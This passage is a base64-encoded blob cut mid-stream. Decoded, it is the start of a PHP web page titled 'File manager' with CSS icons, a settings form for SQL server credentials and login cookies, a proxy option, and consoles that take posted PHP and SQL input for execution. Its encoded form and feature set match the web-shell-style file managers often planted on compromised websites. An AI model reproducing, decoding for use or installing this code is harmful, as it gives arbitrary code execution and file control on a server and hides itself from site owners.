HkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTWhsZUdBS09BQUFCeUVsRVFWUTR5OFdUVDJzVVFSREZmOVhUTStQR0lCSGRFRVFSOGVBZmdnYVBIdlR1eVUraStBMzhBRjQ4ZWZKYktCNXpFMElNQVZjQ2lSaFFFOGdtbTExMXM5bVozWmwrSG1heTVxQVk4R0JEZFRXUGVvOUhWUmY4NzJPOXhWdjMvSm5yQ3lnSVU0MDZLL3FicmJQM1Z4Yi9xakQ4K09TTnRDK1ZYNlJpVXlyV3BYSkQyYWVuZnlSM1hzOU4zaDVyRkl3NkVBWVF4c0FJS01GeCtjZlNnMGRtRmsrcUphUXlHdTB0dndUMkt3RVpoQU5RV1pHVmczTFM4M2V1cE0yRjV5aURrRTl3RFBaNzYydlFmVlVKaElLUTdURGFXOFRpYWNDTzJsTm5kNnhqbFl2cG00OWY1RnVOWitYQnhwb241QlRmV3FTek40QUVMQUZMcSt3U2JJTEZkWGdndW9pYlVqNyt2dTBSS0c5amVZSGs2dUlFWElvc1FaWmlOV1l1UVNRUVRXRnVZRVYzYWNYVGZ3ZHhpdEtyUUF3dW1ZaVlPM0p6Q2tWVHlEV3dzZytEVlpSOVlOVEwzbnFORG5IeE5CcTJmMW1jMkkxQWduQUlSUmZHYlZRT2FtZW55UTdheTc0c0kzeitGV1dIOWFpT3JsQ0ZCT2FxcUxvSXlpancrWVdIVzl1K0NLYkdzSWMwL3MyWDBiRnBITU5VRXVLWlZRQy8yeDBtTTAwUDhpZGZBQWV0ejJFVHdHNWZhODdQbm9zdWhZQk95bzhjdHRNSlcrODNkbHYvdElsM0YrYjRDWXlwMlR4dzJWVXdBQUFBQUVsRlRrU3VRbUNDIik7Cgp9CgouZmlsZSB7CiAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUtUMmxEUTFCUWFHOTBiM05vYjNBZ1NVTkRJSEJ5YjJacGJHVUFBSGphblZOblZGUHBGajMzM3ZSQ1M0aUFsRXR2VWhVSUlGSkNpNEFVa1NZcUlRa1FTb2dob2RrVlVjRVJSVVVFRzhpZ2lBT09qb0NNRlZFc0RJb0syQWZrSWFLT2c2T0lpc3I3NFh1amE5YTg5K2JOL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6L1NNQkFQaCtQRHdySXNBSHZnQUJlTk1MQ0FEQVRadkFNQnlIL3cvcVFwbGNBWUNFQWNCMGtUaExDSUFVQUVCNmprS21BRUJHQVlDZG1DWlRBS0FFQUdETFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRaWWhFQUdnN0FLelBWb3BGQUZnd0FCUm1TOFE1QU5ndEFEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkEvZzg4d0FBS0NSRlJIZ2cvUDllTTRPcnM3T05vNjJEbDh0NnI4Ry95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdC9xSWw3Z1JvWGd1Z2RmZUxacklQUUxVQW9PbmFWL053K0g0OFBFV2hrTG5aMmVYazVOaEt4RUpiWWNwWGZmNW53bC9BVi8xcytYNDgvUGYxNEw3aUpJRXlYWUZIQlBqZ3dzejBUS1VjejVJSmhHTGM1bzlIL0xjTC8vd2QweUxFU1dLNVdDb1U0MUVTY1k1RW1venpNcVVpaVVLU0tjVWwwdjlrNHQ4cyt3TSszelVBc0dvK0FYdVJMYWhkWXdQMlN5Y1FXSFRBNHZjQUFQSzdiOEhVS0FnRGdHaUQ0YzkzLys4Ly9VZWdKUUNBWmttU2NRQUFYa1FrTGxUS3N6L0hDQUFBUktDQktyQkJHL1RCR0N6QUJoekJCZHpCQy94Z05vUkNKTVRDUWhCQ0NtU0FISEpnS2F5Q1FpaUd6YkFkS21BdjFFQWROTUJSYUlhVGNBNHV3bFc0RGoxd0QvcGhDSjdCS0x5QkNRUkJ5QWdUWVNIYWlBRmlpbGdqamdnWG1ZWDRJY0ZJQkJLTEpDREppQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVQzVURMVkR1YWczR29SR29ndlFaSFF4bW84V29KdlFjclFhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUS9wSDVaL1lrR1djTk13MDlEcEZHZ3NWL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVkvUjI3aXoycXFhRTVRek5LTTFlelV2T1VaajhINDVoeCtKeDBUZ25uS0tlWDgzNkszaFR2S2VJcEc2WTBUTGt4WlZ4cnFwYVhsbGlyU0t0UnEwZnJ2VGF1N2FlZHByMUZ1MW43Z1E1Qngwb25YQ2RIWjQvT0JaM25VOWxUM2FjS3B4Wk5QVHIxcmk2cWE2VWJvYnRFZDc5dXArNllucjVlZ0o1TWI2ZmVlYjNuK2h4OUwvMVUvVzM2cC9WSERGZ0dzd3drQnRzTXpoZzh4VFZ4Ynp3ZEw4ZmI4VkZEWGNOQVE2VmhsV0dYNFlTUnVkRThvOVZHalVZUGpHbkdYT01rNDIzR2JjYWpKZ1ltSVNaTFRlcE43cHBTVGJtbUthWTdURHRNeDgzTXphTE4xcGsxbXoweDF6TG5tK2ViMTV2ZnQyQmFlRm9zdHFpMnVHVkpzdVJhcGxudXRyeHVoVm81V2FWWVZWcGRzMGF0bmEwbDFydXR1NmNScDdsT2swNnJudFpudzdEeHRzbTJxYmNac09YWUJ0dXV0bTIyZldGblloZG50OFd1dys2VHZaTjl1bjJOL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjYvdU51NXA3b2Zjbjh3MG55bWVXVE56ME1QSVErQlI1ZEUvQzUrVk1HdmZySDVQUTArQlo3WG5JeTlqTDVGWHJkZXd0NlYzcXZkaDd4Yys5ajV5bitNKzR6dzMzakxlV1YvTU44QzN5TGZMVDhOdm5sK0YzME4vSS85ay8zci8wUUNuZ0NVQlp3T0pnVUdCV3dMNytIcDhJYitPUHpyYlpmYXkyZTFCaktDNVFSVkJqNEt0Z3VYQnJTRm95T3lRclNIMzU1ak9rYzVwRG9WUWZ1alcwQWRoNW1HTHczNE1KNFdIaFZlR1A0NXdpRmdhMFRHWE5YZlIzRU56MzBUNlJKWkUzcHRuTVU4NXJ5MUtOU28rcWk1cVBObzN1alM2UDhZdVpsbk0xVmlkV0Vsc1N4dzVMaXF1Tm01c3Z0Lzg3Zk9INHAzaUMrTjdGNWd2eUYxd2VhSE93dlNGcHhhcExoSXNPcFpBVEloT09KVHdRUkFxcUJhTUpmSVRkeVdPQ25uQ0hjSm5JaS9STnRHSTJFTmNLaDVPOGtncVRYcVM3Skc4Tlhra3hUT2xMT1c1aENlcGtMeE1EVXpkbXpxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYS96WW5LT1phcm5pdk43Y3l6eXR1UU41enZuLy90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPL1BMaThaYWZKenMwN1AxU2tWUFJVK2xRMjd0TGR0V0hYK0c3UjdodDd2UFkwN05YYlc3ejMvVDdKdnR0VkFWVk4xV2JWWmZ0Sis3UDNQNjZKcXVuNGx2dHRYYTFPYlhIdHh3UFNBLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrKy9wM3ZkeTBOTmcxVmpaekc0aU53UkhuazZmY0ozL2NlRFRyYWRveDdyT0VIMHg5MkhXY2RMMnBDbXZLYVJwdFRtdnRiWWx1NlQ4dyswZGJxM25yOFI5c2ZENXcwUEZsNVN2TlV5V25hNllMVGsyZnl6NHlkbFoxOWZpNzUzR0Rib3JaNzUyUE8zMm9QYisrNkVIVGgwa1gvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284L3BQVFQ4ZTduTHVhcnJsY2E3bnVlcjIxZTJiMzZSdWVOODdkOUwxNThSYi8xdFdlT1QzZHZmTjZiL2ZGOS9YZkZ0MStjaWY5enN1NzJYY243cTI4VDd4ZjlFRHRRZGxEM1lmVlAxdiszTmp2M0g5cXdIZWc4OUhjUi9jR2hZUFAvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUYvNmkvc3V1RnhZdmZ2alY2OWZPMFpqUm9aZnlsNU8vYlh5bC9lckE2eG12MjhiQ3hoNit5WGd6TVY3MFZ2dnR3WGZjZHgzdm85OFBUK1I4SUg4by8yajVzZlZUMEtmN2t4bVRrLzhFQTVqei9HTXpMZHNBQUFBR1lrdEhSQUQvQVA4QS82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmY0NBd0dNVGc1WEVFVEFBQUI4a2xFUVZRNHkzV1NNVy9UUUJpR24rKzdzeDNYZGRNQUltMG5rQ29oUlFpSkRTRXhkQWwvQVRFd0lQRXprRmlZWUdSbHlNeUd4TUxFeEZoQnl5OUFDQWFhMGdZbkRvbDl4OURZaVZzNDZkUG5rL3crOTk3M25nREovdjcrK3lBSUNqK2ZJMEhBLzVaekR1ODl6am1Pam82eWZyLy93QUpCcjllN0c0WWh4V1NDUkZIOTAycVZaZG5ZeDNGOERJUVdJTXN5MXBJRVh4U29NZlZKNTBGZURLVXJjR2N3QVZDQU5FMXB0VnFvS3FxS01hYitydlpodk1ibjF5L3dnNmRJdElhSUFHQUJUazVPU0pJRTlSNEFFVUZWY2M3VlBmOTJ3UGJ0bEh6M0NSdCtqcXBTTzJpMzI4UnhYTnRlaFlnSXByWE8rT056cmwzK2d0RUFFVzBDaHNNaFdaWTE3bDVEak9YMDB4dXU3b3o1RVQza1VtZWpCdGVBVHFkREhNZXdFSzlDUERBL2ZNVnM2eGFiMjN0bkl2MkhnL0Y0M0p5NDk0Z05HSDU0U2ZmR0JxZnJqMGxhUzNIRFFacW1oR0dJVzhSV3hmZm4rRHYyNTF0K3RlL1IzZW5oRVVTV1ZRTkdveEY1bnVOWHhLS0dyd2Z2Q0hidjRLODh3bWlKNm5Ld2pSaWpLTUlZUXptZkk0dm9SSVFpM3VaMzl6NWJtNTB6YUhYcTR2NDFZRHFkZ2doU2xvaHpBTXltT2RkdjdtR01VSlpsSTlacXdFMEhxb2kxRjE1aEpWcnRDeGUrQWtnWWhnVFdJc1pnb2dnUndWcDdZV0NyeXhpakZXQXlHQXllSVZLb2N5TFcxbytvNnVjTDhIbWV6NER4WCs4ZEFMRzdNZVZVQUFBQUFFbEZUa1N1UW1DQyIpOwoKfQo8Pz1mbV9ob21lX3N0eWxlKCk/PgouaW1nIHsKCWJhY2tncm91bmQtaW1hZ2U6IAp1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLL0lOd1dLNlFBQUFkRlFURlJGN2UzdC9mMzlwSitmK2NKYWpWOHE2ZW5wa0dJbS9zRk8vKzJPMzkzYzV1Ym0vc3hiZDI5eWltZG5lRmc2NU9UazJ6b1k2dUhpMXpBUzFjckpzSHMybnlnbzNOcmIyTEJYcll0bTJwNUEvK2hYcG9ScXBLT2t3cmk0Nit2cjBNRzM2WXN6NnVqcG1JNkFuelV5d0wrL21YVlNtSUJOOGJ3d2oxVkJ5TEd6YTFaSjBORFFqWVNCLzlOandaNkN3VUFzeGswYnJaeVd3N3BtR1o0QTZMdGRrSGRmLytOOHlvdzI3YjVXODdSTkxaTC8yYmlQN3dBQS8vR0psNWVYNE5mWXNhYUxncDZoMWIrdC8rNlI2OEZlODl5Y2ltWmQvdVF2M3I5TnVwQ0I5OVYyNWExY1ZKYmJuSGhPLzh4UytNQmE4ZkR3aTJKaTQ4cWkvK3FPZFZJenMzNHgvL0dPWEl6WXA1U1Avc3hncXBpSWNwKy9zaVFwY21wc3RheXN6U0FOdUtLVDlQVDA0dUxpd0lreThMZEUrc1ZXdnFhbThlL3ZMNUlaK3JsSDhjTmcwOENjejdhZDh2THk5THRVMXF5VXVaNCtyNTEyKzhzL3dVcEwzZDNkeDdXMWZHTmEvODlaMmNmSCtzNW42T2pvYjFZdHM3S3oxOWZYd0lnNHAxZE4rUGo0ekxSMCs4cGQ3c3RyaEtBcy85aGovOUJWMUt0ZnRMUzFucDJkWWxKU1pGVlY1TFJXaEVGQjVyaFovOUpxMEh0VC8vQ1NrSXFKNks1RCtMTk5ibFZWdmpNMDQ3Wk16N2UzMXhFRy8vLy90S2d1NndBQUFKdDBVazVULy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL3dDVlZwS1lBQUFBR1hSRldIUlRiMlowZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQU5aSlJFRlVLRk5qbUtXaVBRc1pNTXhpbXNxUEtwQWIyTXNBWk5qTE93a3pnZ1ZtSllueXBzL1FFNTllS0NFdEJoYVlGUmZqWnVUaEgyN2xZNmtxQnhZb3JTL09NQzV3aUhaa2wyUUNDVlRrTit0cnRGajRaU3BNbWF3REZCRDBsQ295bnpaQmwxbklKajU1RWxCQTA5cGR2YzlidVQxU1lLWUJXdzFRSUMwb05Zc2pyRkhKcFNrdlJZc0JLQ0NiTTlITE45dFdyYnFualVVR1pHMUFoR3VJWFpSenBRbDNhR3dEMkIyY1paMnpFb0w3Vyt1NnF5QXVuWlhJT012UXJGeWtxd1RpRnpCUU5PWGo0UUt6b0FLemFqdFlJUXdBbHZ0cGwzVjVjOE1BQUFBQVNVVk9SSzVDWUlJPSIpOwoKfQpAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOjcyMHB4KXsKICB0YWJsZXtkaXNwbGF5OmJsb2NrO30KICAgICAgICAgICNmbV90YWJsZSB0ZHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30KICAgICAgICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9CiAgICAgICAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9CiAgICAgICAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKXtiYWNrZ3JvdW5kLWNvbG9yOiNERUUzRTc7fQogICAgICAgICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQoJI2hlYWRlcl90YWJsZSAucm93MiwgI2hlYWRlcl90YWJsZSAucm93MyB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9CgkjaGVhZGVyX3RhYmxlIHRhYmxlIHRkIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30KfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAokdXJsX2luYyA9ICc/Zm09dHJ1ZSc7CgppZiAoaXNzZXQoJF9QT1NUWydzcWxydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfc3FsX2NvbnNvbGUnXSkpewoJJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOwoKCSRyZXNfbG5nID0gJ3NxbCc7Cgp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpewoJJHJlcyA9IGVtcHR5KCRfUE9TVFsncGhwJ10pID8gJycgOiAkX1BPU1RbJ3BocCddOwoKCSRyZXNfbG5nID0gJ3BocCc7Cgp9IAppZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7CgllY2hvICcgCjx0YWJsZSBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLl9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnU2V0dGluZ3MnKS4nPC90aD48L3RyPgonLihlbXB0eSgkbXNnKT8nJzonPHRyPjx0ZCBjbGFzcz0icm93MiIgY29sc3Bhbj0iMiI+Jy4kbXNnLic8L3RkPjwvdHI+JykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cgc2l6ZSBvZiB0aGUgZm9sZGVyJyksJ3Nob3dfZGlyX3NpemUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygncGljdHVyZXMnKSwnc2hvd19pbWcnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTWFrZSBkaXJlY3RvcnknKSwnbWFrZV9kaXJlY3RvcnknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnR2VuZXJhdGlvbiB0aW1lJyksJ3Nob3dfZ3QnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgeGxzJywnc2hvd194bHMnKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3BocF9jb25zb2xlJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFNRTCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9zcWxfY29uc29sZScpLicKPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfc2VydmVyXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgc2VydmVyPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF91c2VybmFtZV0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgdXNlcjwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHBhc3N3b3JkPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9kYl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+CicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ1NldHRpbmdzJyksJ2ZtX3NldHRpbmdzJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwncmVzdG9yZV90aW1lJykuJwonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ0ZpbGUgbWFuYWdlcicpLic6ICcuX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwnZm1fcmVzdG9yZV90aW1lJykuJwo8dHI+PHRkIGNsYXNzPSJyb3czIj48YSBocmVmPSInLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZSZmbV9jb25maWdfZGVsZXRlPXRydWUiPicuX18oJ1Jlc2V0IHNldHRpbmdzJykuJzwvYT48L3RkPjx0ZCBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiBuYW1lPSJmbV9jb25maWdbZm1fc2V0X3N1Ym1pdF0iPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8dGFibGU+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPC90aD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bYXV0aG9yaXplXSIgdmFsdWU9IjEiICcuKCRhdXRoWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT0iY2hlY2tib3giIGlkPSJhdXRoIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iYXV0aCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8L2xhYmVsPjwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2xvZ2luXSIgdmFsdWU9IicuJGF1dGhbJ2xvZ2luJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0xvZ2luJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW3Bhc3N3b3JkXSIgdmFsdWU9IicuJGF1dGhbJ3Bhc3N3b3JkJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1Bhc3N3b3JkJykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2Nvb2tpZV9uYW1lXSIgdmFsdWU9IicuJGF1dGhbJ2Nvb2tpZV9uYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0Nvb2tpZScpLic8L3RkPjwvdHI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dIiB2YWx1ZT0iJy4kYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0RheXMnKS4nPC90ZD48L3RyPgo8dHI+PHRkIGNsYXNzPSJyb3cxIj48dGV4dGFyZWEgbmFtZT0iZm1fbG9naW5bc2NyaXB0XSIgY29scz0iMzUiIHJvd3M9IjciIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgaWQ9ImF1dGhfc2NyaXB0Ij4nLiRhdXRoWydzY3JpcHQnXS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnU2NyaXB0JykuJzwvdGQ+PC90cj4KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+JzsKCmVjaG8gZm1fdHBsX2Zvcm0oJ3BocCcpLGZtX3RwbF9mb3JtKCdzcWwnKTsKCn0gZWxzZWlmIChpc3NldCgkcHJveHlfZm9ybSkpIHsKCWRpZSgkcHJveHlfZm9ybSk7Cgp9IGVsc2VpZiAoaXNzZXQoJHJlc19sbmcpKSB7CQo/Pgo8dGFibGUgY2xhc3M9Indob2xlIj4KPHRyPgogICAgICAgICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4KPC90cj4KPHRyPgogICAgICAgICAgPHRkIGNsYXNzPSJyb3cyIj48dGFibGU+PHRyPjx0ZD48aDI+